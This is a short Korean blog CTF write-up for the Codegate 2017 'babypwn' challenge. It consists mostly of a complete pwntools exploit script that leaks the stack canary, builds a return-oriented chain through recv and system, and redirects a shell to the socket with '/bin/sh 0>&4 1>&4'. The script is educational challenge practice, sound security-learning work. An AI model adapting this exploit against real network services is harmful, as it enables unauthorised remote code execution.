codegate 2017 - babypwn
2018. 9. 20. 21:24ㆍCTF's Write-up
Codegate 2017 - babypwn 문제입니다.
카나리 익스 연습하려고 추천해주셔서 풀어봤습니다.
원격으로 서버열어서 쉘따는 부분이 0>&4 1>&4 입출력 다 원격으로 바꾸는게 신기했습니다. 물론 저부분은 도움없었으면 못풀었을거에요 ㅠ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | from pwn import * r = remote('127.0.0.1',6666) e = ELF('./babypwn') bss = 0x0804b1b8+0x32 binsh = "/bin/sh 0>&4 1>&4" system_plt = e.plt['system'] recv_plt = e.plt['recv'] ppppr = 0x08048eec pay = "" pay += "A" * 40 print(r.recvuntil("> ")) r.sendline(str(1)) print(r.recvuntil(": ")) r.sendline(pay) print(r.recvuntil("A"*40)) canary = u32(r.recv(4)) - 0x0a print hex(canary) sleep(0.3) print r.recvuntil("> ") r.sendline("1") print r.recvuntil(": ") pay += p32(canary) pay += "A"*12 pay += p32(recv_plt) pay += p32(ppppr) pay += p32(0x04) pay += p32(bss) pay += p32(len(binsh)) pay += p32(0x00) pay += p32(system_plt) pay += "A"*4 pay += p32(bss) r.sendline(pay) sleep(0.3) print r.recvuntil("> ") r.sendline("3") r.send(binsh) r.interactive()\ | cs |
'CTF's Write-up' 카테고리의 다른 글
h3x0r easy_of_the_easy write-up (0) | 2018.11.07 |
---|---|
codegate2018 - BaskinRobins31 (0) | 2018.10.31 |
tamuCTF2018 - pwn3 (0) | 2018.09.14 |
tamuCTF2018 - pwn2 (0) | 2018.09.11 |
tamuCTF2018 - pwn1 (0) | 2018.08.21 |